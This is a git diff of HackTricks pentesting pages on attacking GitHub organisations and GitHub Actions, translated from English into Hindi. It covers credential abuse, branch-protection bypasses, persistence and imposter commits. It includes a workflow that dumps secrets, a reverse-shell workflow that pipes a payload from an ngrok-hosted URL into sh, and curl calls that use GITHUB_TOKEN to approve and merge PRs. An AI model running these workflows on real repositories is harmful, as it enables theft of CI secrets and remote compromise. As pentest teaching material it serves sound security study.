recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows. - - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) +- **Github actions policies**: यह आपको यह संकेत देने की अनुमति देता है कि कौन सी रिपॉजिटरी कार्यप्रवाह चला सकती हैं और कौन से कार्यप्रवाह की अनुमति दी जानी चाहिए। अनुशंसित है कि **कौन सी रिपॉजिटरी** की अनुमति दी जानी चाहिए, इसे निर्दिष्ट करें और सभी कार्यों को चलाने की अनुमति न दें। +- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) +- **Fork pull request workflows from outside collaborators**: अनुशंसित है कि **सभी** बाहरी सहयोगियों के लिए अनुमोदन की आवश्यकता हो। +- _मैंने इस जानकारी के साथ कोई API नहीं पाई, यदि आप करते हैं तो साझा करें_ +- **Run workflows from fork pull requests**: यह अत्यधिक **निषेधित है कि पुल अनुरोधों से कार्यप्रवाह चलाए जाएं** क्योंकि फोर्क मूल के रखरखावकर्ताओं को स्रोत रिपॉजिटरी पर पढ़ने की अनुमतियों के साथ टोकन का उपयोग करने की क्षमता दी जाएगी। +- _मैंने इस जानकारी के साथ कोई API नहीं पाई, यदि आप करते हैं तो साझा करें_ +- **Workflow permissions**: यह अत्यधिक अनुशंसित है कि **केवल पढ़ने की रिपॉजिटरी अनुमतियाँ** दी जाएं। GITHUB_TOKEN का दुरुपयोग करने से बचने के लिए लिखने और पुल अनुरोधों को बनाने/स्वीकृत करने की अनुमतियाँ देना हतोत्साहित किया जाता है। +- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) ### Integrations -_Let me know if you know the API endpoint to access this info!_ +_यदि आप इस जानकारी तक पहुँचने के लिए API एंडपॉइंट जानते हैं तो मुझे बताएं!_ -- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them). -- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them). +- **Third-party application access policy**: अनुशंसित है कि हर एप्लिकेशन तक पहुँच को प्रतिबंधित करें और केवल आवश्यक एप्लिकेशन को अनुमति दें (उनकी समीक्षा करने के बाद)। +- **Installed GitHub Apps**: अनुशंसित है कि केवल आवश्यक एप्लिकेशन को अनुमति दें (उनकी समीक्षा करने के बाद)। ## Recon & Attacks abusing credentials -For this scenario we are going to suppose that you have obtained some access to a github account. +इस परिदृश्य के लिए हम मान लेंगे कि आपने github खाते तक कुछ पहुँच प्राप्त कर ली है। ### With User Credentials -If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.** +यदि आपके पास किसी संगठन के भीतर एक उपयोगकर्ता के लिए क्रेडेंशियल्स हैं, तो आप **बस लॉगिन कर सकते हैं** और देख सकते हैं कि आपके पास कौन से **उद्यम और संगठन की भूमिकाएँ हैं**, यदि आप एक सामान्य सदस्य हैं, तो देख सकते हैं कि सामान्य सदस्यों के पास कौन सी **अनुमतियाँ हैं**, आप किस **समूहों** में हैं, आपके पास कौन सी **अनुमतियाँ हैं** और **रिपॉजिटरी कैसे सुरक्षित हैं।** -Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. +ध्यान दें कि **2FA का उपयोग किया जा सकता है** इसलिए आप केवल तभी इस जानकारी तक पहुँच सकते हैं जब आप उस जांच को भी **पास कर सकें**। > [!NOTE] -> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. +> ध्यान दें कि यदि आप **`user_session` कुकी चुराने में सफल होते हैं** (जो वर्तमान में SameSite: Lax के साथ कॉन्फ़िगर की गई है) तो आप **बिना क्रेडेंशियल्स या 2FA की आवश्यकता के उपयोगकर्ता का पूरी तरह से प्रतिनिधित्व कर सकते हैं**। -Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful. +यदि यह उपयोगी हो तो [**branch protections bypasses**](./#branch-protection-bypass) के बारे में नीचे दिए गए अनुभाग की जांच करें। ### With User SSH Key -Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). - -With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to: +Github **उपयोगकर्ताओं** को **SSH कुंजी** सेट करने की अनुमति देता है जो उनके पक्ष में कोड तैनात करने के लिए **प्रमाणन विधि** के रूप में उपयोग की जाएगी (कोई 2FA लागू नहीं होता)। +इस कुंजी के साथ आप **उन रिपॉजिटरी में परिवर्तन कर सकते हैं जहां उपयोगकर्ता के पास कुछ विशेषताएँ हैं**, हालाँकि आप इसका उपयोग github api तक पहुँचने के लिए नहीं कर सकते हैं ताकि वातावरण को सूचीबद्ध किया जा सके। हालाँकि, आप **स्थानीय सेटिंग्स को सूचीबद्ध कर सकते हैं** ताकि उन रिपॉजिटरी और उपयोगकर्ता के बारे में जानकारी प्राप्त की जा सके जिन तक आपकी पहुँच है: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` +यदि उपयोगकर्ता ने अपना उपयोगकर्ता नाम अपने github उपयोगकर्ता नाम के रूप में कॉन्फ़िगर किया है, तो आप उसके खाते में सेट किए गए **सार्वजनिक कुंजियों** को _https://github.com/\.keys_ पर एक्सेस कर सकते हैं, आप यह पुष्टि करने के लिए इसे चेक कर सकते हैं कि जो निजी कुंजी आपने पाई है वह उपयोग की जा सकती है। -If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used. +**SSH कुंजियाँ** को **डिप्लॉय कुंजियों** के रूप में रिपॉजिटरी में भी सेट किया जा सकता है। इस कुंजी तक पहुँच रखने वाला कोई भी व्यक्ति **एक रिपॉजिटरी से प्रोजेक्ट लॉन्च** कर सकेगा। आमतौर पर, विभिन्न डिप्लॉय कुंजियों के साथ एक सर्वर में स्थानीय फ़ाइल **`~/.ssh/config`** आपको संबंधित कुंजी के बारे में जानकारी देगी। -**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. +#### GPG कुंजियाँ -#### GPG Keys - -As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. - -Check locally if the current user has any key with: +जैसा कि [**यहाँ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) समझाया गया है, कभी-कभी कमिट्स पर हस्ताक्षर करना आवश्यक होता है या आप खोजे जा सकते हैं। +स्थानीय रूप से चेक करें कि क्या वर्तमान उपयोगकर्ता के पास कोई कुंजी है: ```shell gpg --list-secret-keys --keyid-format=long ``` - ### With User Token For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens). -A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions. +एक उपयोगकर्ता टोकन को **पासवर्ड के बजाय** Git over HTTPS के लिए उपयोग किया जा सकता है, या [**API पर बेसिक ऑथेंटिकेशन के माध्यम से प्रमाणित करने के लिए**](https://docs.github.com/v3/auth/#basic-authentication) उपयोग किया जा सकता है। इसके साथ जुड़े विशेषाधिकारों के आधार पर, आप विभिन्न क्रियाएँ करने में सक्षम हो सकते हैं। -A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` +एक उपयोगकर्ता टोकन इस तरह दिखता है: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123` ### With Oauth Application For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications). -An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +एक हमलावर एक **दुष्ट Oauth एप्लिकेशन** बना सकता है ताकि उन उपयोगकर्ताओं के विशेषाधिकार प्राप्त डेटा/क्रियाओं तक पहुँच सके जो संभवतः उन्हें फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं। -These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them. +ये हैं [Oauth एप्लिकेशन द्वारा अनुरोधित स्कोप](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)। एक को हमेशा स्वीकार करने से पहले अनुरोधित स्कोप की जांच करनी चाहिए। -Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. +इसके अलावा, जैसा कि बुनियादी जानकारी में समझाया गया है, **संस्थाएँ तीसरे पक्ष के एप्लिकेशनों को जानकारी/रेपोज/क्रियाओं तक पहुँच देने/नकारने** का अधिकार रखती हैं जो संगठन से संबंधित हैं। ### With Github Application For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications). -An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +एक हमलावर एक **दुष्ट Github एप्लिकेशन** बना सकता है ताकि उन उपयोगकर्ताओं के विशेषाधिकार प्राप्त डेटा/क्रियाओं तक पहुँच सके जो संभवतः उन्हें फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं। -Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. +इसके अलावा, जैसा कि बुनियादी जानकारी में समझाया गया है, **संस्थाएँ तीसरे पक्ष के एप्लिकेशनों को जानकारी/रेपोज/क्रियाओं तक पहुँच देने/नकारने** का अधिकार रखती हैं जो संगठन से संबंधित हैं। ## Compromise & Abuse Github Action @@ -180,69 +176,61 @@ abusing-github-actions/ ## Branch Protection Bypass -- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way. - - _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._ -- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch. -- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**. - - When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.** -- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections. -- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections. -- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything. -- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back. -- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`). - - If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**. +- **Require a number of approvals**: यदि आपने कई खातों से समझौता किया है, तो आप बस अन्य खातों से अपने PRs को स्वीकार कर सकते हैं। यदि आपके पास केवल वही खाता है जिससे आपने PR बनाया है, तो आप अपने स्वयं के PR को स्वीकार नहीं कर सकते। हालाँकि, यदि आपके पास रेपो के अंदर एक **Github Action** वातावरण तक पहुँच है, तो **GITHUB_TOKEN** का उपयोग करके आप **अपने PR को स्वीकृत** कर सकते हैं और इस तरह 1 स्वीकृति प्राप्त कर सकते हैं। +- _इस और कोड मालिकों की प्रतिबंध के लिए नोट करें कि आमतौर पर एक उपयोगकर्ता अपने स्वयं के PRs को स्वीकृत नहीं कर सकेगा, लेकिन यदि आप ऐसा कर रहे हैं, तो आप इसका दुरुपयोग कर सकते हैं ताकि अपने PRs को स्वीकार कर सकें।_ +- **Dismiss approvals when new commits are pushed**: यदि यह सेट नहीं है, तो आप वैध कोड सबमिट कर सकते हैं, किसी के द्वारा इसे स्वीकृत होने की प्रतीक्षा कर सकते हैं, और फिर दुष्ट कोड डाल सकते हैं और इसे संरक्षित शाखा में मर्ज कर सकते हैं। +- **Require reviews from Code Owners**: यदि यह सक्रिय है और आप एक कोड मालिक हैं, तो आप एक **Github Action बना सकते हैं जो आपका PR बनाए और फिर इसे स्वयं स्वीकृत करें**। +- जब एक **CODEOWNER फ़ाइल गलत कॉन्फ़िगर की गई है**, तो Github शिकायत नहीं करता है लेकिन इसका उपयोग नहीं करता है। इसलिए, यदि यह गलत कॉन्फ़िगर है, तो इसका **कोड मालिकों का संरक्षण लागू नहीं होता है।** +- **Allow specified actors to bypass pull request requirements**: यदि आप इनमें से एक अभिनेता हैं, तो आप पुल अनुरोध सुरक्षा को बायपास कर सकते हैं। +- **Include administrators**: यदि यह सेट नहीं है और आप रेपो के प्रशासक हैं, तो आप इस शाखा सुरक्षा को बायपास कर सकते हैं। +- **PR Hijacking**: आप **किसी और के PR को संशोधित** करने में सक्षम हो सकते हैं, दुष्ट कोड जोड़ सकते हैं, परिणामस्वरूप PR को स्वयं स्वीकृत कर सकते हैं और सब कुछ मर्ज कर सकते हैं। +- **Removing Branch Protections**: यदि आप रेपो के **प्रशासक हैं, तो आप सुरक्षा को अक्षम कर सकते हैं**, अपने PR को मर्ज कर सकते हैं और सुरक्षा को फिर से सेट कर सकते हैं। +- **Bypassing push protections**: यदि एक रेपो **केवल कुछ उपयोगकर्ताओं** को शाखाओं में पुश (कोड मर्ज) करने की अनुमति देता है (शाखा सुरक्षा सभी शाखाओं की सुरक्षा कर सकती है जो वाइल्डकार्ड `*` निर्दिष्ट करती है)। +- यदि आपके पास **रेपो पर लिखने की पहुँच है लेकिन आपको कोड पुश करने की अनुमति नहीं है** क्योंकि शाखा सुरक्षा है, तो आप अभी भी **एक नई शाखा बना सकते हैं** और इसके भीतर एक **github action बना सकते हैं जो कोड पुश होने पर ट्रिगर होता है**। चूंकि **शाखा सुरक्षा शाखा के बनने तक सुरक्षा नहीं करती है**, इस शाखा में पहले कोड पुश से **github action निष्पादित होगा**। ## Bypass Environments Protections For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments). -In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one). - -Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**. +यदि कोई वातावरण **सभी शाखाओं से पहुँच योग्य है**, तो यह **सुरक्षित नहीं है** और आप आसानी से वातावरण के अंदर रहस्यों तक पहुँच सकते हैं। ध्यान दें कि आप उन रेपोज़ को पा सकते हैं जहाँ **सभी शाखाएँ सुरक्षित हैं** (उनके नाम निर्दिष्ट करके या `*` का उपयोग करके) उस परिदृश्य में, **एक शाखा खोजें जहाँ आप कोड पुश कर सकते हैं** और आप **एक नई github action बनाकर रहस्यों को निकाल सकते हैं** (या एक को संशोधित करके)। +ध्यान दें, कि आप उस किनारे के मामले को पा सकते हैं जहाँ **सभी शाखाएँ सुरक्षित हैं** (वाइल्डकार्ड `*` के माध्यम से) यह निर्दिष्ट किया गया है **कौन शाखाओं में कोड पुश कर सकता है** (_आप इसे शाखा सुरक्षा में निर्दिष्ट कर सकते हैं_) और **आपका उपयोगकर्ता अनुमति नहीं है**। आप अभी भी एक कस्टम github action चला सकते हैं क्योंकि आप एक शाखा बना सकते हैं और उस पर पुश ट्रिगर का उपयोग कर सकते हैं। **शाखा सुरक्षा एक नई शाखा में पुश की अनुमति देती है इसलिए github action ट्रिगर होगा**। ```yaml push: # Run it when a push is made to a branch - branches: - - current_branch_name #Use '**' to run when a push is made to any branch +branches: +- current_branch_name #Use '**' to run when a push is made to any branch ``` +ध्यान दें कि **शाखा के निर्माण के बाद** **शाखा सुरक्षा नए शाखा पर लागू होगी** और आप इसे संशोधित नहीं कर पाएंगे, लेकिन उस समय तक आप पहले ही रहस्यों को डंप कर चुके होंगे। -Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets. +## स्थिरता -## Persistence +- **उपयोगकर्ता टोकन** उत्पन्न करें +- **रहस्यों** से **गिटहब टोकन** चुराएं +- कार्यप्रवाह **परिणामों** और **शाखाओं** का **हटाना** +- सभी संगठन को **अधिक अनुमतियाँ** दें +- जानकारी को निकालने के लिए **वेबहुक** बनाएं +- **बाहरी सहयोगियों** को आमंत्रित करें +- **SIEM** द्वारा उपयोग किए गए **वेबहुक** को **हटाएं** +- **बैकडोर** के साथ **गिटहब क्रिया** बनाएं/संशोधित करें +- **गुप्त** मान संशोधन के माध्यम से **कमांड इंजेक्शन** के लिए **कमजोर गिटहब क्रिया** खोजें -- Generate **user token** -- Steal **github tokens** from **secrets** - - **Deletion** of workflow **results** and **branches** -- Give **more permissions to all the org** -- Create **webhooks** to exfiltrate information -- Invite **outside collaborators** -- **Remove** **webhooks** used by the **SIEM** -- Create/modify **Github Action** with a **backdoor** -- Find **vulnerable Github Action to command injection** via **secret** value modification +### धोखेबाज़ कमिट - रेपो कमिट के माध्यम से बैकडोर -### Imposter Commits - Backdoor via repo commits - -In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**. - -Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): +गिटहब में यह संभव है कि **एक फोर्क से एक रेपो के लिए PR बनाया जाए**। भले ही PR **स्वीकृत** न हो, एक **कमिट** आईडी मूल रेपो के लिए कोड के फोर्क संस्करण के लिए बनाई जाएगी। इसलिए, एक हमलावर **ऐसे विशेष कमिट का उपयोग करने के लिए पिन कर सकता है जो एक स्पष्ट रूप से वैध रेपो से है जिसे रेपो के मालिक द्वारा नहीं बनाया गया था**। +जैसे [**यह**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml name: example on: [push] jobs: - commit: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e - - shell: bash - run: | - echo 'hello world!' +commit: +runs-on: ubuntu-latest +steps: +- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e +- shell: bash +run: | +echo 'hello world!' ``` - -For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) +अधिक जानकारी के लिए देखें [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index c5ce0467b..ecb8e27e0 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -4,389 +4,371 @@ ## Basic Information -In this page you will find: +इस पृष्ठ पर आपको मिलेगा: -- A **summary of all the impacts** of an attacker managing to access a Github Action -- Different ways to **get access to an action**: - - Having **permissions** to create the action - - Abusing **pull request** related triggers - - Abusing **other external access** techniques - - **Pivoting** from an already compromised repo -- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts) +- एक **सारांश सभी प्रभावों का** जब एक हमलावर Github Action तक पहुँचने में सफल होता है +- **एक्शन** तक पहुँचने के विभिन्न तरीके: +- एक्शन बनाने के लिए **अनुमतियाँ** होना +- **पुल अनुरोध** से संबंधित ट्रिगर्स का दुरुपयोग करना +- **अन्य बाहरी पहुँच** तकनीकों का दुरुपयोग करना +- पहले से समझौता किए गए रेपो से **पिवटिंग** करना +- अंत में, एक अनुभाग **भीतर से एक्शन का दुरुपयोग करने के लिए पोस्ट-एक्सप्लॉइटेशन तकनीकों** के बारे में (उपरोक्त प्रभावों का कारण बनना) ## Impacts Summary -For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). +[**Github Actions के बारे में मूल जानकारी**](../basic-github-information.md#github-actions) के लिए एक परिचय। -If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to: +यदि आप **GitHub Actions में मनमाना कोड निष्पादित कर सकते हैं** एक **रेपो** के भीतर, तो आप सक्षम हो सकते हैं: -- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP. -- **Compromise deployments** and other **artifacts**. - - If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack. -- **Execute code in custom workers** to abuse computing power and pivot to other systems. -- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`. +- **गुप्त जानकारी चुराना** जो पाइपलाइन में माउंट की गई है और **पाइपलाइन के विशेषाधिकारों का दुरुपयोग करना** ताकि AWS और GCP जैसे बाहरी प्लेटफार्मों तक अनधिकृत पहुँच प्राप्त कर सकें। +- **डिप्लॉयमेंट्स और अन्य** **कलाकृतियों** का समझौता करना। +- यदि पाइपलाइन संपत्तियों को तैनात या संग्रहीत करती है, तो आप अंतिम उत्पाद को बदल सकते हैं, जिससे एक सप्लाई चेन हमले की अनुमति मिलती है। +- **कस्टम वर्कर्स में कोड निष्पादित करना** ताकि कंप्यूटिंग शक्ति का दुरुपयोग किया जा सके और अन्य सिस्टम पर पिवट किया जा सके। +- `GITHUB_TOKEN` से संबंधित अनुमतियों के आधार पर **रेपो कोड को ओवरराइट करना**। ## GITHUB_TOKEN -This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option: +यह "**गुप्त**" (जो `${{ secrets.GITHUB_TOKEN }}` और `${{ github.token }}` से आता है) तब दिया जाता है जब व्यवस्थापक इस विकल्प को सक्षम करता है:
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) +यह टोकन वही है जो एक **Github एप्लिकेशन उपयोग करेगा**, इसलिए यह समान एंडपॉइंट्स तक पहुँच सकता है: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. +> Github को एक [**फ्लो**](https://github.com/github/roadmap/issues/74) जारी करना चाहिए जो **क्रॉस-रेपो** पहुँच की अनुमति देता है, ताकि एक रेपो अन्य आंतरिक रेपो तक `GITHUB_TOKEN` का उपयोग करके पहुँच सके। -You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) +आप इस टोकन की संभावित **अनुमतियों** को देख सकते हैं: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) -Note that the token **expires after the job has completed**.\ -These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` +ध्यान दें कि टोकन **काम पूरा होने के बाद समाप्त हो जाता है**।\ +ये टोकन इस तरह दिखते हैं: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` -Some interesting things you can do with this token: +इस टोकन के साथ आप कुछ दिलचस्प चीजें कर सकते हैं: {{#tabs }} {{#tab name="Merge PR" }} - ```bash # Merge PR curl -X PUT \ - https://api.github.com/repos///pulls//merge \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header "content-type: application/json" \ - -d "{\"commit_title\":\"commit_title\"}" +https://api.github.com/repos///pulls//merge \ +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header "content-type: application/json" \ +-d "{\"commit_title\":\"commit_title\"}" ``` - {{#endtab }} -{{#tab name="Approve PR" }} - +{{#tab name="PR को मंजूरी दें" }} ```bash # Approve a PR curl -X POST \ - https://api.github.com/repos///pulls//reviews \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header 'content-type: application/json' \ - -d '{"event":"APPROVE"}' +https://api.github.com/repos///pulls//reviews \ +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header 'content-type: application/json' \ +-d '{"event":"APPROVE"}' ``` - {{#endtab }} -{{#tab name="Create PR" }} - +{{#tab name="PR बनाएं" }} ```bash # Create a PR curl -X POST \ - -H "Accept: application/vnd.github.v3+json" \ - --header "authorization: Bearer $GITHUB_TOKEN" \ - --header 'content-type: application/json' \ - https://api.github.com/repos///pulls \ - -d '{"head":"","base":"master", "title":"title"}' +-H "Accept: application/vnd.github.v3+json" \ +--header "authorization: Bearer $GITHUB_TOKEN" \ +--header 'content-type: application/json' \ +https://api.github.com/repos///pulls \ +-d '{"head":"","base":"master", "title":"title"}' ``` - {{#endtab }} {{#endtabs }} > [!CAUTION] -> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization. +> ध्यान दें कि कई अवसरों पर आप **Github Actions envs या secrets के अंदर github उपयोगकर्ता टोकन पा सकते हैं**। ये टोकन आपको रिपॉजिटरी और संगठन पर अधिक विशेषाधिकार दे सकते हैं।
-List secrets in Github Action output - +Github Action आउटपुट में secrets की सूची ```yaml name: list_env on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - List_env: - runs-on: ubuntu-latest - steps: - - name: List Env - # Need to base64 encode or github will change the secret value for "***" - run: sh -c 'env | grep "secret_" | base64 -w0' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +List_env: +runs-on: ubuntu-latest +steps: +- name: List Env +# Need to base64 encode or github will change the secret value for "***" +run: sh -c 'env | grep "secret_" | base64 -w0' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-Get reverse shell with secrets - +गुप्तों के साथ रिवर्स शेल प्राप्त करें ```yaml name: revshell on: - workflow_dispatch: # Launch manually - pull_request: #Run it when a PR is created to a branch - branches: - - "**" - push: # Run it when a push is made to a branch - branches: - - "**" +workflow_dispatch: # Launch manually +pull_request: #Run it when a PR is created to a branch +branches: +- "**" +push: # Run it when a push is made to a branch +branches: +- "**" jobs: - create_pull_request: - runs-on: ubuntu-latest - steps: - - name: Get Rev Shell - run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' - env: - secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} - secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} +create_pull_request: +runs-on: ubuntu-latest +steps: +- name: Get Rev Shell +run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' +env: +secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} +secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ``` -
-It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions: +यह संभव है कि आप अन्य उपयोगकर्ताओं के रिपॉजिटरी में Github Token को दिए गए अनुमतियों की **लॉग्स** की जांच करके जांच कर सकें:
-## Allowed Execution +## अनुमत निष्पादन > [!NOTE] -> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**. +> यह Github actions को समझौता करने का सबसे आसान तरीका होगा, क्योंकि इस मामले में यह मान लिया गया है कि आपके पास **संगठन में एक नया रिपॉजिटरी बनाने का अधिकार** है, या आपके पास **एक रिपॉजिटरी पर लिखने के अधिकार** हैं। > -> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action). +> यदि आप इस परिदृश्य में हैं, तो आप बस [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action) की जांच कर सकते हैं। -### Execution from Repo Creation +### रिपॉजिटरी निर्माण से निष्पादन -In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**. +यदि संगठन के सदस्य **नए रिपॉजिटरी बना सकते हैं** और आप github actions निष्पादित कर सकते हैं, तो आप **एक नया रिपॉजिटरी बना सकते हैं और संगठन स्तर पर सेट किए गए रहस्यों को चुरा सकते हैं**। -### Execution 